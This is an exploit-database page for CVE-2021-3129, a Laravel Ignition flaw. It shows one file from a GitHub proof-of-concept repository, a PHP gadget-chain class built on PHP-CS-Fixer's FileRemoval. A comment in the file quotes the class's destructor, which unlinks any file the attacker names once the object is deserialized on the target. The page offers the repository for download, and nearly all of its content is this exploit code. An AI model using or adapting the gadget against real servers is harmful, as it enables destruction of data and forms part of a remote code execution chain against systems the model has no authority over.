Exploit database

GH-cead96c10f3b6e0b9fd794c85b3731e0

zhzyker/cve-2021-3129

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3129

36 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
zhzyker/cve-2021-3129Revision 0fb9c6816a6d

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

gadgetchains/PHPCSFixer/FD/1/gadgets.php

PHP · 594 bytes
<?php

namespace PhpCsFixer
{
//https://github.com/FriendsOfPHP/PHP-CS-Fixer/blob/v2.17.3/src/FileRemoval.php
    class FileRemoval
    {

        function __construct($remote_file)
        {
            $this->files = [$remote_file => $remote_file];

        }

    }
}

/* 
    public function __destruct()
    {
        $this->clean();
    }




    public function clean()
    {
        foreach ($this->files as $file => $value) {
            $this->unlink($file);
        }
        $this->files = [];
    }

    private function unlink($path)
    {
        @unlink($path);
    }
}
*/


?>